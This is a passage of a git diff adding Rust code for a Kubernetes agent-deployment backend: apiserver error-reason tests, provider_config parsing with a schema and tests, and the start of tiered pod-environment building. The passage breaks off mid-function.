+    /// Exercise the shipped `Request` + `Client::send` seam. A fake
+    /// reconciler would not prove that kube-rs emits a quorum list request or
+    /// that the apiserver's clock survives body decoding.
+    #[tokio::test]
+    async fn list_with_date_uses_a_quorum_request_and_returns_the_server_clock() {
+        let (pods, server_now, uri) =
+            list_through_real_request_path(Some("Sun, 02 Aug 2026 04:00:00 GMT")).await;
+
+        assert_eq!(pods.len(), 1, "fixture must contain one decoded pod");
+        assert_eq!(pods[0].metadata.name.as_deref(), Some("sprig"));
+        assert!(uri.starts_with("/api/v1/namespaces/owned-ns/pods?"));
+        assert!(
+            uri.contains("labelSelector=app.kubernetes.io%2Fmanaged-by%3Dbuzz-backend-kubernetes")
+        );
+        assert!(
+            !uri.contains("resourceVersion"),
+            "cache read leaked into {uri}"
+        );
+        assert_eq!(
+            server_now.unwrap().to_rfc3339(),
+            "2026-08-02T04:00:00+00:00"
+        );
+    }
+
+    /// Header failure is deliberately not list failure: without a trustworthy
+    /// apiserver clock the orphan sweep skips, but normal reconciliation still
+    /// receives the decoded objects.
+    #[tokio::test]
+    async fn list_with_date_keeps_items_when_the_server_clock_is_unusable() {
+        for date in [Some("not a date"), None] {
+            let (pods, server_now, _) = list_through_real_request_path(date).await;
+            assert_eq!(pods.len(), 1, "fixture must contain one decoded pod");
+            assert!(server_now.is_none(), "unexpected clock for {date:?}");
+        }
+    }
+
+    /// A typed apiserver error, as kube-rs surfaces it.
+    fn api(reason: &str, code: u16) -> kube::Error {
+        kube::Error::Api(ErrorResponse {
+            status: "Failure".into(),
+            message: String::new(),
+            reason: reason.into(),
+            code,
+        })
+    }
+
+    /// The one discriminator the whole file rests on, and the trap the spec
+    /// predicts: "an implementation that branches on the code alone will
+    /// eventually take the adoption path on a failed delete or vice versa"
+    /// (`:788-790`).
+    ///
+    /// Both of these are 409. Reading the *code* makes them identical; reading
+    /// `Status.reason` keeps a lost create race and a stale fence apart. The
+    /// mutation that must fail this test is `e.reason == …` → `e.code == 409`,
+    /// which no other test in the crate would catch — the fakes never produce
+    /// a real `kube::Error`.
+    #[test]
+    fn the_two_409s_are_never_conflated() {
+        let already_exists = api(REASON_ALREADY_EXISTS, 409);
+        let conflict = api(REASON_CONFLICT, 409);
+
+        assert!(reason_is(&already_exists, REASON_ALREADY_EXISTS));
+        assert!(reason_is(&conflict, REASON_CONFLICT));
+        // The cross terms are the whole point.
+        assert!(!reason_is(&already_exists, REASON_CONFLICT));
+        assert!(!reason_is(&conflict, REASON_ALREADY_EXISTS));
+    }
+
+    /// A transport-level failure is not an apiserver verdict. It must fall
+    /// through to the error arm rather than being read as any reason — a
+    /// connection reset silently classified as `NotFound` would report a pod
+    /// as confirmed-absent, which the classifier treats as proof.
+    #[test]
+    fn a_non_api_error_carries_no_reason() {
+        let transport = kube::Error::LinesCodecMaxLineLengthExceeded;
+        assert!(api_error(&transport).is_none());
+        for reason in [
+            REASON_ALREADY_EXISTS,
+            REASON_CONFLICT,
+            REASON_NOT_FOUND,
+            REASON_FORBIDDEN,
+        ] {
+            assert!(!reason_is(&transport, reason), "matched {reason}");
+        }
+    }
+
+    /// `reason` is `#[serde(default)]` in kube-core, so an apiserver that
+    /// omits it yields an empty string. That must match nothing rather than
+    /// matching an empty pattern by accident.
+    #[test]
+    fn an_absent_reason_matches_nothing() {
+        let bare = api("", 409);
+        assert!(!reason_is(&bare, REASON_ALREADY_EXISTS));
+        assert!(!reason_is(&bare, REASON_CONFLICT));
+    }
+
+    /// The consts are the apiserver's spelling, asserted against literals
+    /// rather than against themselves.
+    ///
+    /// Every other test here references the consts symbolically on both sides
+    /// — fixture *and* assertion — which is true for any pair of distinct
+    /// values. That tests the discriminator is self-consistent, not that it is
+    /// correct: swapping the two 409 values inverts `AlreadyExists` and
+    /// `Conflict` at a real apiserver (`:788-790`'s failure, reached by
+    /// editing a string instead of a branch) with every other test still
+    /// green. These are `apimachinery`'s wire strings and kube-core exposes no
+    /// constant for them, so a literal is the only external anchor available.
+    /// Found by Quinn's mutation matrix; M2/M3/M4 survived without it.
+    #[test]
+    fn the_reason_consts_are_the_apiservers_spelling() {
+        assert_eq!(REASON_ALREADY_EXISTS, "AlreadyExists");
+        assert_eq!(REASON_CONFLICT, "Conflict");
+        assert_eq!(REASON_NOT_FOUND, "NotFound");
+        assert_eq!(REASON_FORBIDDEN, "Forbidden");
+    }
+}
diff --git a/crates/buzz-backend-kubernetes/src/config.rs b/crates/buzz-backend-kubernetes/src/config.rs
new file mode 100644
index 0000000000..4d96735b7b
--- /dev/null
+++ b/crates/buzz-backend-kubernetes/src/config.rs
@@ -0,0 +1,470 @@
+//! `provider_config` parsing and the `info` config schema
+//! (spec §`provider_config` v1 fields, `docs/remote-agents.md:1384-1389`).
+//!
+//! Nine fields, all optional except `image` (required at parse time; the
+//! schema offers the published sprig image as a prefill default — §Image).
+//! No credential field exists, by I2: cluster auth comes from ambient
+//! kubeconfig resolution and nothing else (`:196-198`).
+
+use crate::image::{self, ImageRef};
+
+/// Resource requests and limits (§Pod shape: 1cpu/2Gi → 2cpu/4Gi, all four
+/// configurable — `cargo build` in an agent workspace makes 500m/1Gi
+/// unrealistic).
+#[derive(Debug, Clone, PartialEq, Eq)]
+pub struct Resources {
+    pub cpu_request: String,
+    pub memory_request: String,
+    pub cpu_limit: String,
+    pub memory_limit: String,
+}
+
+impl Default for Resources {
+    fn default() -> Self {
+        Self {
+            cpu_request: "1".into(),
+            memory_request: "2Gi".into(),
+            cpu_limit: "2".into(),
+            memory_limit: "4Gi".into(),
+        }
+    }
+}
+
+/// Default inactivity budget: the I5 opt-in (§Auto-Stop). The config field and
+/// `BUZZ_ACP_EXIT_AFTER_INACTIVITY` are one knob, not two.
+pub const DEFAULT_INACTIVITY_SECONDS: u64 = 7200;
+
+/// Default `image` schema prefill: the published sprig image, in tag+digest
+/// form so the tag stays human-traceable to its git SHA while the digest does
+/// the pinning (§Image — tag-only refs are rejected; `image::parse` drops the
+/// tag on normalization). This is a UI prefill, not a baked fallback: `image`
+/// stays required, an empty value still fails closed, and the value always
+/// arrives explicitly in `provider_config`, so create-intent fingerprints are
+/// unaffected by provider upgrades.
+pub const DEFAULT_IMAGE: &str = "ghcr.io/block/buzz-sprig:sha-6530b58@sha256:17facfc7608d8ddb33bc056c9aaba1098f4ef6abe5655702fbfd7584d1f74d76";
+
+/// Fixed nonzero UID/GID for the agent container (§Pod shape hardening).
+pub const RUN_AS_UID: i64 = 10001;
+pub const RUN_AS_GID: i64 = 10001;
+
+/// Writable workspace root; also `HOME` and the harness's cwd
+/// (§Working directory).
+pub const WORKSPACE_PATH: &str = "/home/agent";
+
+/// `terminationGracePeriodSeconds` — a declared budget, not a derived sum
+/// (§Pod shape). Kubernetes' default 30s would SIGKILL the harness mid-drain.
+pub const TERMINATION_GRACE_SECONDS: i64 = 60;
+
+/// The only restart policy v1 ships. `OnFailure` is double-gated on the
+/// harness exit-code contract *and* a crash-loop classification row the state
+/// machine does not have (`:1121-1139`); until both land the provider refuses
+/// the combination rather than shipping against an undefended convention.
+pub const RESTART_POLICY: &str = "Never";
+
+#[derive(Debug, Clone, PartialEq, Eq)]
+pub struct ProviderConfig {
+    /// kubeconfig context; `None` uses the current context.
+    pub context: Option<String>,
+    pub namespace: String,
+    pub image: ImageRef,
+    pub resources: Resources,
+    /// `None` when `inactivity_seconds` was 0 — refused in v1, see [`parse`].
+    pub inactivity_seconds: Option<u64>,
+    pub service_account: Option<String>,
+}
+
+/// Read an optional non-empty string field. Rejects non-string scalars rather
+/// than stringifying them, so a mistyped field is named at the boundary.
+fn optional_string(cfg: &serde_json::Value, field: &str) -> Result<Option<String>, String> {
+    match cfg.get(field) {
+        None | Some(serde_json::Value::Null) => Ok(None),
+        Some(serde_json::Value::String(s)) if s.trim().is_empty() => Ok(None),
+        Some(serde_json::Value::String(s)) => Ok(Some(s.trim().to_string())),
+        Some(other) => Err(format!(
+            "provider_config.{field} must be a string, got {other}"
+        )),
+    }
+}
+
+/// Read an optional unsigned integer. The desktop's form omits blank numeric
+/// fields rather than sending `""`, but a hand-crafted payload may send a
+/// numeric string — accept both, refuse anything else.
+fn optional_u64(cfg: &serde_json::Value, field: &str) -> Result<Option<u64>, String> {
+    match cfg.get(field) {
+        None | Some(serde_json::Value::Null) => Ok(None),
+        Some(serde_json::Value::Number(n)) => n.as_u64().map(Some).ok_or_else(|| {
+            format!("provider_config.{field} must be a non-negative integer, got {n}")
+        }),
+        Some(serde_json::Value::String(s)) if s.trim().is_empty() => Ok(None),
+        Some(serde_json::Value::String(s)) => s.trim().parse::<u64>().map(Some).map_err(|_| {
+            format!("provider_config.{field} must be a non-negative integer, got {s:?}")
+        }),
+        Some(other) => Err(format!(
+            "provider_config.{field} must be a non-negative integer, got {other}"
+        )),
+    }
+}
+
+/// A Kubernetes namespace name: RFC 1123 label, ≤63 chars. Validated here so a
+/// typo fails with a named field instead of an apiserver rejection partway
+/// through a deploy.
+fn valid_namespace(name: &str) -> bool {
+    !name.is_empty()
+        && name.len() <= 63
+        && name.starts_with(|c: char| c.is_ascii_lowercase() || c.is_ascii_digit())
+        && name.ends_with(|c: char| c.is_ascii_lowercase() || c.is_ascii_digit())
+        && name
+            .chars()
+            .all(|c| c.is_ascii_lowercase() || c.is_ascii_digit() || c == '-')
+}
+
+pub fn parse(cfg: &serde_json::Value) -> Result<ProviderConfig, String> {
+    if !cfg.is_object() && !cfg.is_null() {
+        return Err("provider_config must be a JSON object".to_string());
+    }
+
+    let namespace = optional_string(cfg, "namespace")?.ok_or_else(|| {
+        "provider_config.namespace is required: the info schema supplies a \
+         generated default, so an empty value means the form was cleared"
+            .to_string()
+    })?;
+    if !valid_namespace(&namespace) {
+        return Err(format!(
+            "provider_config.namespace {namespace:?} is not a valid Kubernetes \
+             namespace (lowercase alphanumerics and '-', ≤63 characters)"
+        ));
+    }
+
+    let image = image::parse(optional_string(cfg, "image")?.unwrap_or_default().as_str())?;
+
+    let defaults = Resources::default();
+    let resources = Resources {
+        cpu_request: optional_string(cfg, "cpu_request")?.unwrap_or(defaults.cpu_request),
+        memory_request: optional_string(cfg, "memory_request")?.unwrap_or(defaults.memory_request),
+        cpu_limit: optional_string(cfg, "cpu_limit")?.unwrap_or(defaults.cpu_limit),
+        memory_limit: optional_string(cfg, "memory_limit")?.unwrap_or(defaults.memory_limit),
+    };
+
+    // `inactivity_seconds: 0` is a legal, blessed value in the spec (§Auto-Stop)
+    // meaning "no auto-stop" — but it selects `restartPolicy: OnFailure`, which
+    // §Pod shape forbids until the harness exit-code contract is pinned AND the
+    // state machine gains a crash-loop row. Refusing the *combination* is what
+    // the spec asks for; silently downgrading to `Never` would ship an
+    // indefinite agent that dies on its first crash.
+    let inactivity_seconds = match optional_u64(cfg, "inactivity_seconds")? {
+        None => Some(DEFAULT_INACTIVITY_SECONDS),
+        Some(0) => {
+            return Err(
+                "provider_config.inactivity_seconds: 0 (indefinite lifetime) is not \
+                 supported in this version: it requires restartPolicy OnFailure, \
+                 which is gated on the harness exit-code contract. Set a positive \
+                 number of seconds."
+                    .to_string(),
+            )
+        }
+        Some(n) => Some(n),
+    };
+
+    Ok(ProviderConfig {
+        context: optional_string(cfg, "context")?,
+        namespace,
+        image,
+        resources,
+        inactivity_seconds,
+        service_account: optional_string(cfg, "service_account")?,
+    })
+}
+
+/// A fresh `buzz-agents-<rand6>` namespace default.
+///
+/// Computed per `info` call, which is how "random default" is satisfied with
+/// zero UI changes: the schema's `default` prefills the form (§K8s Namespace).
+pub fn generated_namespace() -> String {
+    use rand::RngExt;
+    const ALPHABET: &[u8] = b"abcdefghijklmnopqrstuvwxyz0123456789";
+    let mut rng = rand::rng();
+    let suffix: String = (0..6)
+        .map(|_| ALPHABET[rng.random_range(0..ALPHABET.len())] as char)
+        .collect();
+    format!("buzz-agents-{suffix}")
+}
+
+/// The `config_schema` returned by `info`. Drives the UI form:
+/// `properties[*].default` prefill, scalar coercion, `required` gating
+/// (`:407-411`).
+pub fn config_schema() -> serde_json::Value {
+    let defaults = Resources::default();
+    serde_json::json!({
+        "type": "object",
+        "properties": {
+            "context": {
+                "type": "string",
+                "title": "Kubeconfig context",
+                "description": "Context from your kubeconfig. Leave empty to use the current context."
+            },
+            "namespace": {
+                "type": "string",
+                "title": "Namespace",
+                "description": "Created if it does not exist.",
+                "default": generated_namespace()
+            },
+            "image": {
+                "type": "string",
+                "title": "Agent image",
+                "description": "Digest-pinned image containing the buzz-acp runtime ABI, e.g. ghcr.io/block/buzz-sprig@sha256:<digest>. Tags alone are not accepted: this pod holds the agent's private key.",
+                "default": DEFAULT_IMAGE
+            },
+            "cpu_request": {
+                "type": "string", "title": "CPU request", "default": defaults.cpu_request
+            },
+            "memory_request": {
+                "type": "string", "title": "Memory request", "default": defaults.memory_request
+            },
+            "cpu_limit": {
+                "type": "string", "title": "CPU limit", "default": defaults.cpu_limit
+            },
+            "memory_limit": {
+                "type": "string", "title": "Memory limit", "default": defaults.memory_limit
+            },
+            "inactivity_seconds": {
+                "type": "number",
+                "title": "Stop after inactivity (seconds)",
+                "description": "The agent exits after this long with no work, and can be started again at any time.",
+                "default": DEFAULT_INACTIVITY_SECONDS
+            },
+            "service_account": {
+                "type": "string",
+                "title": "Service account",
+                "description": "Scheduling/RBAC identity only. No API token is mounted."
+            }
+        },
+        "required": ["namespace", "image"]
+    })
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    fn digest_ref() -> String {
+        format!("ghcr.io/block/buzz-sprig@sha256:{}", "a".repeat(64))
+    }
+
+    fn minimal() -> serde_json::Value {
+        serde_json::json!({"namespace": "buzz-agents-abc123", "image": digest_ref()})
+    }
+
+    #[test]
+    fn applies_spec_defaults() {
+        let c = parse(&minimal()).unwrap();
+        assert_eq!(c.resources, Resources::default());
+        assert_eq!(c.resources.cpu_request, "1");
+        assert_eq!(c.resources.memory_request, "2Gi");
+        assert_eq!(c.resources.cpu_limit, "2");
+        assert_eq!(c.resources.memory_limit, "4Gi");
+        assert_eq!(c.inactivity_seconds, Some(DEFAULT_INACTIVITY_SECONDS));
+        assert_eq!(c.context, None);
+        assert_eq!(c.service_account, None);
+    }
+
+    #[test]
+    fn all_four_resources_are_configurable() {
+        let mut cfg = minimal();
+        cfg["cpu_request"] = "500m".into();
+        cfg["memory_request"] = "1Gi".into();
+        cfg["cpu_limit"] = "4".into();
+        cfg["memory_limit"] = "8Gi".into();
+        let c = parse(&cfg).unwrap();
+        assert_eq!(
+            c.resources,
+            Resources {
+                cpu_request: "500m".into(),
+                memory_request: "1Gi".into(),
+                cpu_limit: "4".into(),
+                memory_limit: "8Gi".into(),
+            }
+        );
+    }
+
+    /// The desktop's form omits blank numeric fields; a hand-crafted payload
+    /// may send a numeric string. Both must mean the same thing.
+    #[test]
+    fn inactivity_accepts_number_string_and_omission() {
+        let mut cfg = minimal();
+        cfg["inactivity_seconds"] = serde_json::json!(300);
+        assert_eq!(parse(&cfg).unwrap().inactivity_seconds, Some(300));
+
+        cfg["inactivity_seconds"] = serde_json::json!("300");
+        assert_eq!(parse(&cfg).unwrap().inactivity_seconds, Some(300));
+
+        cfg["inactivity_seconds"] = serde_json::json!("");
+        assert_eq!(
+            parse(&cfg).unwrap().inactivity_seconds,
+            Some(DEFAULT_INACTIVITY_SECONDS)
+        );
+    }
+
+    /// Indefinite lifetime selects `OnFailure`, which is gated. Refuse rather
+    /// than silently downgrade — a downgraded agent dies on its first crash
+    /// while the user believes they asked for indefinite.
+    #[test]
+    fn refuses_indefinite_lifetime() {
+        let mut cfg = minimal();
+        cfg["inactivity_seconds"] = serde_json::json!(0);
+        let err = parse(&cfg).unwrap_err();
+        assert!(err.contains("inactivity_seconds"), "got: {err}");
+        assert!(
+            err.contains("OnFailure"),
+            "error should name the gate: {err}"
+        );
+    }
+
+    #[test]
+    fn rejects_negative_and_non_numeric_inactivity() {
+        for bad in [
+            serde_json::json!(-1),
+            serde_json::json!(1.5),
+            serde_json::json!("soon"),
+            serde_json::json!(true),
+        ] {
+            let mut cfg = minimal();
+            cfg["inactivity_seconds"] = bad.clone();
+            assert!(parse(&cfg).is_err(), "accepted {bad}");
+        }
+    }
+
+    #[test]
+    fn image_is_required_and_must_be_digest_pinned() {
+        let mut cfg = minimal();
+        cfg.as_object_mut().unwrap().remove("image");
+        assert!(parse(&cfg).unwrap_err().contains("provider_config.image"));
+
+        cfg["image"] = "ghcr.io/block/buzz-sprig:latest".into();
+        assert!(parse(&cfg).unwrap_err().contains("digest-pinned"));
+    }
+
+    #[test]
+    fn rejects_invalid_namespace_names() {
+        for bad in [
+            "",
+            "Buzz-Agents",
+            "-leading",
+            "trailing-",
+            "has_underscore",
+            &"n".repeat(64),
+        ] {
+            let mut cfg = minimal();
+            cfg["namespace"] = bad.into();
+            assert!(parse(&cfg).is_err(), "accepted namespace {bad:?}");
+        }
+    }
+
+    /// I2 corollary: there is no config path for cluster credentials, so a
+    /// caller that tries to supply one gets no effect from it. Asserting the
+    /// parsed struct has no such field is the closest a test can get to
+    /// "the type makes it impossible".
+    #[test]
+    fn credential_fields_have_no_effect() {
+        let mut cfg = minimal();
+        cfg["token"] = "hunter2".into();
+        cfg["client_key"] = "hunter2".into();
+        let c = parse(&cfg).unwrap();
+        let rendered = format!("{c:?}");
+        assert!(
+            !rendered.contains("hunter2"),
+            "config absorbed a credential: {rendered}"
+        );
+    }
+
+    #[test]
+    fn mistyped_string_fields_are_named() {
+        let mut cfg = minimal();
+        cfg["namespace"] = serde_json::json!(42);
+        assert!(parse(&cfg)
+            .unwrap_err()
+            .contains("provider_config.namespace"));
+    }
+
+    #[test]
+    fn generated_namespaces_are_fresh_and_valid() {
+        let a = generated_namespace();
+        let b = generated_namespace();
+        assert_ne!(a, b, "namespace default is not random");
+        assert!(valid_namespace(&a), "{a} is not a valid namespace");
+        assert!(a.starts_with("buzz-agents-"));
+        assert_eq!(a.len(), "buzz-agents-".len() + 6);
+    }
+
+    /// The schema's own namespace default must be a value the parser accepts —
+    /// otherwise the UI prefills a form that fails on submit.
+    #[test]
+    fn schema_default_namespace_round_trips_through_parse() {
+        let schema = config_schema();
+        let default = schema["properties"]["namespace"]["default"]
+            .as_str()
+            .unwrap();
+        let cfg = serde_json::json!({"namespace": default, "image": digest_ref()});
+        assert_eq!(parse(&cfg).unwrap().namespace, default);
+    }
+
+    /// Same guarantee for the image prefill: the schema's default must be a
+    /// value `image::parse` accepts, or the UI prefills a form that fails on
+    /// submit. Its tag+digest form normalizes to the tagless canonical form.
+    #[test]
+    fn schema_default_image_round_trips_through_parse() {
+        let schema = config_schema();
+        let default = schema["properties"]["image"]["default"].as_str().unwrap();
+        assert_eq!(default, DEFAULT_IMAGE);
+        let cfg = serde_json::json!({"namespace": "buzz-agents-abc123", "image": default});
+        let parsed = parse(&cfg).unwrap();
+        assert_eq!(
+            parsed.image.as_str(),
+            "ghcr.io/block/buzz-sprig@sha256:17facfc7608d8ddb33bc056c9aaba1098f4ef6abe5655702fbfd7584d1f74d76"
+        );
+    }
+
+    /// Nine fields exactly (§`provider_config` v1 fields). The cap is 20; the
+    /// count is pinned so a field added without a spec change is caught here.
+    #[test]
+    fn schema_declares_exactly_the_nine_v1_fields() {
+        let schema = config_schema();
+        let props = schema["properties"].as_object().unwrap();
+        let mut keys: Vec<&str> = props.keys().map(String::as_str).collect();
+        keys.sort();
+        assert_eq!(
+            keys,
+            [
+                "context",
+                "cpu_limit",
+                "cpu_request",
+                "image",
+                "inactivity_seconds",
+                "memory_limit",
+                "memory_request",
+                "namespace",
+                "service_account"
+            ]
+        );
+        assert_eq!(
+            schema["required"],
+            serde_json::json!(["namespace", "image"])
+        );
+    }
+
+    /// I2's key lint rejects any field whose word-split contains
+    /// secret|password|token|key|credential. A schema field tripping it would
+    /// make every deploy fail validation desktop-side (`:185-198`).
+    #[test]
+    fn no_schema_field_trips_the_i2_key_lint() {
+        const BANNED: [&str; 5] = ["secret", "password", "token", "key", "credential"];
+        let schema = config_schema();
+        for field in schema["properties"].as_object().unwrap().keys() {
+            for word in field.split(['_', '-']) {
+                assert!(
+                    !BANNED.contains(&word),
+                    "field {field:?} contains I2-banned word {word:?}"
+                );
+            }
+        }
+    }
+}
diff --git a/crates/buzz-backend-kubernetes/src/env.rs b/crates/buzz-backend-kubernetes/src/env.rs
new file mode 100644
index 0000000000..badff621e8
--- /dev/null
+++ b/crates/buzz-backend-kubernetes/src/env.rs
@@ -0,0 +1,732 @@
+//! Building the pod environment (spec §Launch data, §Entrypoint mapping table).
+//!
+//! The three tiers are resolved *here*, before serialization, because a
+//! Kubernetes Secret's `data` is a flat map with no precedence of its own: if
+//! two tiers supplied the same key, whichever entry landed in the map would
+//! win silently. Resolving in-provider makes later-wins explicit and testable.
+
+use crate::wire::{AgentPayload, LaunchBlock};
+use std::collections::BTreeMap;
+
+/// Keys the authoritative tier owns.
+///
+/// Load-bearing, not documentation: tier 3 *clears* every key on this list
+/// before writing its own values, so a key the authoritative tier has no value
+/// for is **removed** rather than left holding a lower-tier value. Plain
+/// overwrite is not enough — most of these are written conditionally
+/// (`BUZZ_ACP_AGENT_ARGS` only when `launch.args` is non-empty,
+/// `BUZZ_ACP_RESPOND_TO` only when set), and without the clear, a lower tier
+/// could supply the value for exactly the cases the authoritative tier stays
+/// silent on. Clearing is also what the local spawn does: the desktop strips
+/// reserved keys from user env before the authoritative layer is written
+/// (`env_vars.rs:54-57`), so absent-means-absent in both paths.
+const AUTHORITATIVE_KEYS: &[&str] = &[
+    "BUZZ_RELAY_URL",
+    "BUZZ_PRIVATE_KEY",
+    "NOSTR_PRIVATE_KEY",
+    "BUZZ_AUTH_TAG",
+    "BUZZ_ACP_AGENT_OWNER",
+    "BUZZ_ACP_AGENT_COMMAND",
+    "BUZZ_ACP_AGENT_ARGS",
+    "BUZZ_ACP_RESPOND_TO",
+    "BUZZ_ACP_RESPOND_TO_ALLOWLIST",
+    "BUZZ_ACP_MCP_COMMAND",
+    "BUZZ_ACP_EXIT_AFTER_INACTIVITY",
+    START_NONCE_KEY,
+];
+
+/// The attempt's generation, as the harness sees it. Also the Secret's name
+/// suffix — one generation, one identity — so the reconciler restamps this on
+/// every create attempt rather than letting the caller's value persist across
+/// a retry.
+pub const START_NONCE_KEY: &str = "BUZZ_MANAGED_AGENT_START_NONCE";
+
+/// Presence is the only remote liveness signal (I3), so a launch that
+/// suppresses it is non-conforming (L1 item 2) — and unlike a reserved-key
+/// collision, there is no "authoritative value" to overwrite it with. Refuse.
+const FORBIDDEN_KEY: &str = "BUZZ_ACP_NO_PRESENCE";
+
+/// Kubernetes' own cap on the summed value bytes of a Secret
+/// (`MaxSecretSize`, `pkg/apis/core/types.go`). Enforced here so an oversized
+/// env surfaces as a named provider error rather than an apiserver rejection
+/// partway through a deploy.
+const MAX_SECRET_BYTES: usize = 1024 * 1024;
+
+/// A POSIX-shaped env var name: `[A-Za-z_][A-Za-z0-9_]*`.
+///
+/// Kubernetes validates Secret *keys* as `IsConfigMapKey`
+/// (`[-._a-zA-Z0-9]+`), which is looser — `foo.bar` is a legal Secret key.
+/// What the kubelet then does with such a key **changed between versions**:
+/// through 1.29 it filtered invalid env names out of `envFrom` and emitted an
+/// `InvalidEnvironmentVariableNames` warning event
+/// (`pkg/kubelet/kubelet_pods.go:646,654` at v1.29.0); from 1.30 that filter
+/// is gone (KEP-4369) and the key is injected verbatim. The same manifest
+/// would silently drop a variable on one cluster and set it on another, so we
+/// fail closed on the provider side and get one deterministic behavior.
+fn is_posix_env_key(key: &str) -> bool {
+    let mut chars = key.chars();
+    match chars.next() {
+        Some(c) if c == '_' || c.is_ascii_alphabetic() => {}
+        _ => return false,
+    }
+    chars.all(|c| c == '_' || c.is_ascii_alphanumeric())
+}
+
+/// An identity component (L1 item 1) is present only if it is nonempty after
+/// trimming — and the **trimmed form is what gets stored**. The validator and
+/// the writer must never disagree about the value: a guard that accepts
+/// `"  wss://relay  "` and then writes it with the padding intact has only
+/// moved the failure from a loud refusal to a connect error in the harness.
+fn identity_component(value: &str) -> Option<&str> {
+    let trimmed = value.trim();
+    (!trimmed.is_empty()).then_some(trimmed)
+}
+
+/// The harness's `allowlist` gate mode, spelled as the desktop serializes
+/// `RespondTo` (kebab-case) and as `buzz-acp`'s CLI parses it.
+const RESPOND_TO_ALLOWLIST: &str = "allowlist";
+
+/// Every gate mode `buzz-acp` accepts, spelled as its `clap::ValueEnum` parses
+/// them (`config.rs:95-101`, kebab-case via `RespondTo`'s `Display`).
+///
+/// Deliberately the **harness's** four and not the desktop's three: the desktop
+/// rejects `nobody` on purpose (`managed_agents/types.rs:871-880`), but the
+/// harness starts fine with it. This guard exists to cover non-desktop callers,
+/// so inheriting a desktop-only narrowing would refuse a launch that works.
+const RESPOND_TO_MODES: [&str; 4] = ["owner-only", RESPOND_TO_ALLOWLIST, "anyone", "nobody"];
+
+/// Refuse a respond-to gate the harness will reject at config parse.
+///
+/// The local spawn path re-validates this before spawning — "doing it here
+/// means we never spawn a doomed process" (`runtime.rs:378`) — but the deploy
+/// path projects the record's fields straight through. Without this, a gate
+/// the harness refuses becomes a pod that exits 1 at startup; `restartPolicy:
+/// Never` turns that into `Terminated` → `Delete` → recreate, and each cycle
+/// leaves a Secret the in-call path never reaps (only a later deploy's orphan
+/// sweep does, at `ORPHAN_SECRET_MIN_AGE_SECS`). The user-visible ending is
+/// "startup not confirmed", indistinguishable from a slow cluster.
+///
+/// Mirrors `buzz-acp`'s own rules exactly (`config.rs:95-101,996-1004,629-641`),
+/// deliberately including their asymmetry: the allowlist is validated **only**
+/// in allowlist mode, and merely warned about otherwise. Validating it in
+/// every mode would refuse a deploy whose identical local spawn succeeds —
+/// and a stale list is already harmless here, since
+/// `BUZZ_ACP_RESPOND_TO_ALLOWLIST` is an authoritative key that tier 3 clears.
+fn validate_respond_to_gate(respond_to: &str, allowlist: Option<&[String]>) -> Result<(), String> {
+    // Exact, untrimmed: `clap` does not trim, so `" allowlist "` is `rc=2` at
+    // the harness — a parse failure even earlier than the config errors below.
+    if !RESPOND_TO_MODES.contains(&respond_to) {
+        return Err(format!(
+            "deploy refused: respond_to {respond_to:?} is not a mode the \
+             harness accepts (expected one of {}) — the pod would fail to \
+             parse its arguments, be replaced, and leave a Secret behind on \
+             every attempt",
+            RESPOND_TO_MODES.join(", ")
+        ));
+    }
+    if respond_to != RESPOND_TO_ALLOWLIST {
+        return Ok(());
+    }
+    let entries = allowlist.unwrap_or_default();
+    if entries.is_empty() {
+        return Err(format!(
+            "deploy refused: respond_to is {RESPOND_TO_ALLOWLIST:?} but the \
+             allowlist is empty — the harness refuses this at startup, so the \
+             pod would fail, be replaced, and leave a Secret behind on every \
+             attempt"
+        ));
+    }
+    for entry in entries {
+        let trimmed = entry.trim();
+        if trimmed.len() != 64 || !trimmed.chars().all(|c| c.is_ascii_hexdigit()) {
+            return Err(format!(
+                "deploy refused: invalid pubkey in respond_to_allowlist: \
+                 {entry:?} (must be exactly 64 hex characters)"
+            ));
+        }
+    }
+    Ok(())
+}
+
+/// Inputs the provider itself supplies to the authoritative tier.
+pub struct AuthoritativeInputs<'a> {
+    /// The attempt's generation token — also the Secret's name suffix, so the
+    /// lifecycle correlator and the Secret generation are one identity.
+    pub generation: &'a str,
+    /// Resolved from `provider_config.inactivity_seconds`; `None` when the
+    /// indefinite opt-in was chosen (which this version refuses elsewhere).
+    pub inactivity_seconds: Option<u64>,
+}
+
+/// Resolve the full pod environment.
+///
+/// Order is the spec's, and the function body is deliberately three writes in
+/// that order — tier 1, tier 2, tier 3 — so "later wins" is visible rather
+/// than argued.
+pub fn build_env(
+    agent: &AgentPayload,
+    auth: AuthoritativeInputs<'_>,
+) -> Result<BTreeMap<String, String>, String> {
+    let default_launch = LaunchBlock::default();
+    let launch = agent.launch.as_ref().unwrap_or(&default_launch);
+
+    let mut env: BTreeMap<String, String> = BTreeMap::new();
+
+    // Tier 1 — overridable behavior defaults.
+    env.extend(launch.policy_env.clone());
+
+    // Tier 2 — user/layered env. The descriptor already merged
+    // global < persona < agent, so `agent.env_vars` is NOT re-merged on top
+    // (§Launch data tier 2) — doing so would resurrect a layer the desktop
+    // already resolved. When the desktop predates the `launch` block we fall
+    // back to the legacy field, which is the only case it is the truth.
+    if agent.launch.is_some() {
+        env.extend(launch.env.clone());
+    } else {
+        env.extend(agent.env_vars.clone());
+    }
+
+    // Validate what the lower tiers contributed, before the authoritative
+    // tier overwrites any of it. A reserved-key collision is NOT fatal: the
+    // spec's precedence is later-wins, so tier 3 simply overwrites it, which
+    // is exactly what a local spawn does. Only a key that has no
+    // authoritative counterpart to overwrite it — presence suppression — is
+    // a refusal.
+    for key in env.keys() {
+        if !is_posix_env_key(key) {
+            return Err(format!(
+                "env key {key:?} is not a POSIX environment variable name \
+                 ([A-Za-z_][A-Za-z0-9_]*); Kubernetes would treat it \
+                 inconsistently across cluster versions"
+            ));
+        }
+        if key.eq_ignore_ascii_case(FORBIDDEN_KEY) {
+            return Err(format!(
+                "{FORBIDDEN_KEY} must not be set on a remote agent: presence \
+                 is the only signal that a remote agent is alive"
+            ));
+        }
+    }
+
+    // Tier 3 — authoritative. Every key it owns is cleared first, then the
+    // values it has are written, so it wins at a key whether or not it has a
+    // value there (see [`AUTHORITATIVE_KEYS`]).
+    for key in AUTHORITATIVE_KEYS {
+        env.remove(*key);
+    }
+    // Identity comes from top-level payload fields, never from `env_vars`
+    // (§Reserved-key rule). All three components must be nonempty: an agent
+    // that cannot reach a relay is the identityless launch L1 item 1 exists to
+    // prevent, and a blank field would otherwise sail through into the Secret
+    // and produce a pod that starts, fails to connect, and looks like a
+    // network problem.
+    let Some(relay_url) = identity_component(&agent.relay_url) else {
